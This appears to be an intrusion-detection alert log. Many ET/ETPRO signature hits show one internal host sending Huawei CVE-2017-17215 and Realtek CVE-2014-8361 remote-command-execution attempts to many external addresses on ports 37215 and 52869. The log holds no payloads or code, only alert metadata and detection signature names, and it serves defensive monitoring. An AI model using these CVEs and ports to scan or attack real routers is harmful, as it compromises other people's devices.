ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 140.242.21.87

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	41860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 84.46.216.58

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.240.232

Timestamp:	07/20/24-23:01:36.795205
SID:	2829579
Source Port:	52094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.3.121.137

Timestamp:	07/20/24-23:01:32.192487
SID:	2829579
Source Port:	57544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.206.211.129

Timestamp:	07/20/24-23:01:04.189873
SID:	2027339
Source Port:	38834
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 182.252.69.39

Timestamp:	07/20/24-23:01:36.794115
SID:	2835222
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 76.239.185.4

Timestamp:	07/20/24-23:01:06.287282
SID:	2025132
Source Port:	37558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 61.114.188.190

Timestamp:	07/20/24-23:01:14.551639
SID:	2831300
Source Port:	60762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.19.25.100

Timestamp:	07/20/24-23:01:32.267589
SID:	2835222
Source Port:	44082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.59.61.36

Timestamp:	07/20/24-23:01:14.527257
SID:	2027339
Source Port:	54994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 171.206.136.183

Timestamp:	07/20/24-23:01:27.355019
SID:	2027339
Source Port:	33430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.20.12.234

Timestamp:	07/20/24-23:01:36.850220
SID:	2829579
Source Port:	46350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 49.79.222.119

Timestamp:	07/20/24-23:01:05.825168
SID:	2027339
Source Port:	43140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 207.192.171.160

Timestamp:	07/20/24-23:01:27.354561
SID:	2027339
Source Port:	45708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 212.19.225.186

Timestamp:	07/20/24-23:00:59.019747
SID:	2835222
Source Port:	52992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.179.182.47

Timestamp:	07/20/24-23:01:04.841989
SID:	2829579
Source Port:	39052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 9.231.7.210

Timestamp:	07/20/24-23:01:05.850964
SID:	2027339
Source Port:	58142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.80.1.119

Timestamp:	07/20/24-23:01:06.802009
SID:	2829579
Source Port:	44010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 109.174.172.219

Timestamp:	07/20/24-23:00:59.019788
SID:	2829579
Source Port:	51784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.255.231.167

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	39986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 37.40.108.99

Timestamp:	07/20/24-23:01:27.354992
SID:	2027339
Source Port:	44930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 14.2.30.96

Timestamp:	07/20/24-23:01:14.539379
SID:	2027339
Source Port:	37434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.159.140.171

Timestamp:	07/20/24-23:01:32.259331
SID:	2829579
Source Port:	47658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 48.113.240.162

Timestamp:	07/20/24-23:01:05.132175
SID:	2025132
Source Port:	59934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.51.83.216

Timestamp:	07/20/24-23:01:05.470942
SID:	2027339
Source Port:	38542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.83.128.106

Timestamp:	07/20/24-23:01:27.232388
SID:	2829579
Source Port:	52964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 188.171.53.74

Timestamp:	07/20/24-23:01:27.354949
SID:	2831300
Source Port:	45772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 41.74.147.143

Timestamp:	07/20/24-23:01:07.598475
SID:	2025132
Source Port:	33826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.70.192

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	34758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 181.177.254.25

Timestamp:	07/20/24-23:01:27.359674
SID:	2831300
Source Port:	60904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.214.200.95

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	56354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 122.167.75.170

Timestamp:	07/20/24-23:01:14.506916
SID:	2831300
Source Port:	39626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.65.122.167

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	55354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.86.178

Timestamp:	07/20/24-23:01:17.782283
SID:	2835222
Source Port:	42270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.211.155

Timestamp:	07/20/24-23:01:36.796105
SID:	2829579
Source Port:	45464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.155.188.132

Timestamp:	07/20/24-23:01:12.492181
SID:	2829579
Source Port:	54264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.230.222.12

Timestamp:	07/20/24-23:01:12.360354
SID:	2835222
Source Port:	54960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.33.148.71

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	42428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.171.127.228

Timestamp:	07/20/24-23:01:14.513824
SID:	2027339
Source Port:	43224
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 169.212.52.234

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	38802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.160.41

Timestamp:	07/20/24-23:01:32.206638
SID:	2835222
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.127.253.177

Timestamp:	07/20/24-23:01:36.780626
SID:	2835222
Source Port:	41906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.190.198.11

Timestamp:	07/20/24-23:01:02.685656
SID:	2829579
Source Port:	36066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.217.147.78

Timestamp:	07/20/24-23:01:04.867862
SID:	2835222
Source Port:	41240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.137.247.5

Timestamp:	07/20/24-23:01:22.737281
SID:	2835222
Source Port:	33404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 205.146.86.254

Timestamp:	07/20/24-23:01:27.355018
SID:	2027339
Source Port:	38282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 116.242.147.193

Timestamp:	07/20/24-23:01:32.203847
SID:	2829579
Source Port:	39446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.103.170.98

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	59464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 98.254.20.30

Timestamp:	07/20/24-23:01:27.352942
SID:	2831300
Source Port:	53108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 210.242.150.143

Timestamp:	07/20/24-23:01:05.856286
SID:	2025132
Source Port:	44894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.207.244.51

Timestamp:	07/20/24-23:01:27.285139
SID:	2835222
Source Port:	58208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.187.147.201

Timestamp:	07/20/24-23:01:32.232613
SID:	2829579
Source Port:	53060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.147.236

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	60948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.94.21

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	39068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.222.199.50

Timestamp:	07/20/24-23:00:59.021890
SID:	2829579
Source Port:	42662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 165.40.111.49

Timestamp:	07/20/24-23:01:07.450482
SID:	2025132
Source Port:	43680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.157.164

Timestamp:	07/20/24-23:01:04.870311
SID:	2829579
Source Port:	53446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.85.136.10

Timestamp:	07/20/24-23:01:06.215874
SID:	2027339
Source Port:	46252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 199.170.141.174

Timestamp:	07/20/24-23:01:14.512354
SID:	2831300
Source Port:	34480
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 166.157.8.210

Timestamp:	07/20/24-23:01:03.882590
SID:	2025132
Source Port:	40844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.213.226.116

Timestamp:	07/20/24-23:01:22.736802
SID:	2835222
Source Port:	49664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.82.152.97

Timestamp:	07/20/24-23:01:22.737206
SID:	2829579
Source Port:	32960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.24.156.226

Timestamp:	07/20/24-23:01:06.798257
SID:	2829579
Source Port:	51316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.154.83.107

Timestamp:	07/20/24-23:00:59.019793
SID:	2829579
Source Port:	57984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 163.251.53.210

Timestamp:	07/20/24-23:01:19.597930
SID:	2027339
Source Port:	36964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.155.18.221

Timestamp:	07/20/24-23:01:04.908543
SID:	2835222
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 32.86.79.138

Timestamp:	07/20/24-23:01:36.781770
SID:	2829579
Source Port:	34390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.25.221.62

Timestamp:	07/20/24-23:01:08.447448
SID:	2829579
Source Port:	50908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 39.240.110.128

Timestamp:	07/20/24-23:01:14.550185
SID:	2831300
Source Port:	60390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 150.36.84.70

Timestamp:	07/20/24-23:01:04.907418
SID:	2835222
Source Port:	57442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.252.178.104

Timestamp:	07/20/24-23:01:32.282562
SID:	2835222
Source Port:	50912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.144.66.58

Timestamp:	07/20/24-23:01:22.811587
SID:	2829579
Source Port:	57992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.201.72.91

Timestamp:	07/20/24-23:01:07.186219
SID:	2027339
Source Port:	37648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.135.31.86

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	59338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.26.97.109

Timestamp:	07/20/24-23:01:38.795028
SID:	2027339
Source Port:	36368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 170.54.95.252

Timestamp:	07/20/24-23:01:14.507784
SID:	2831300
Source Port:	34366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 139.23.112.9

Timestamp:	07/20/24-23:01:14.531479
SID:	2831300
Source Port:	52724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 105.237.48.102

Timestamp:	07/20/24-23:01:20.318652
SID:	2025132
Source Port:	55120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.162.222.24

Timestamp:	07/20/24-23:01:06.801053
SID:	2829579
Source Port:	51832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.122.230.247

Timestamp:	07/20/24-23:01:02.624280
SID:	2835222
Source Port:	36402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 193.187.192.75

Timestamp:	07/20/24-23:01:07.583103
SID:	2025132
Source Port:	34134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 202.117.135.95

Timestamp:	07/20/24-23:01:02.607205
SID:	2829579
Source Port:	51226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 198.95.42.42

Timestamp:	07/20/24-23:01:14.539078
SID:	2027339
Source Port:	38008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.175.25.88

Timestamp:	07/20/24-23:01:08.464559
SID:	2835222
Source Port:	39248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 211.247.29.248

Timestamp:	07/20/24-23:01:05.562396
SID:	2027339
Source Port:	37354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.123.127.227

Timestamp:	07/20/24-23:01:05.864031
SID:	2027339
Source Port:	57966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.179.100.43

Timestamp:	07/20/24-23:01:36.808711
SID:	2829579
Source Port:	42636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.65.167

Timestamp:	07/20/24-23:01:06.805919
SID:	2835222
Source Port:	43834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.201.72.91

Timestamp:	07/20/24-23:01:14.542853
SID:	2027339
Source Port:	39616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.172.174

Timestamp:	07/20/24-23:01:02.613456
SID:	2835222
Source Port:	57420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.84.87.201

Timestamp:	07/20/24-23:01:06.801544
SID:	2835222
Source Port:	34182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.84.70.7

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	55486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 89.84.130.3

Timestamp:	07/20/24-23:01:14.527257
SID:	2831300
Source Port:	43010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 82.246.219.130

Timestamp:	07/20/24-23:01:14.502469
SID:	2831300
Source Port:	50310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 219.0.14.247

Timestamp:	07/20/24-23:01:06.351864
SID:	2025132
Source Port:	60378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 189.69.197.170

Timestamp:	07/20/24-23:01:22.799496
SID:	2835222
Source Port:	42424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.239.128.88

Timestamp:	07/20/24-23:01:12.356534
SID:	2835222
Source Port:	45586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.251.34

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	49316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 124.217.207.199

Timestamp:	07/20/24-23:01:19.974127
SID:	2025132
Source Port:	56448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.253.241.179

Timestamp:	07/20/24-23:01:08.392180
SID:	2829579
Source Port:	50344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 52.138.177.196

Timestamp:	07/20/24-23:00:59.021490
SID:	2835222
Source Port:	58760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

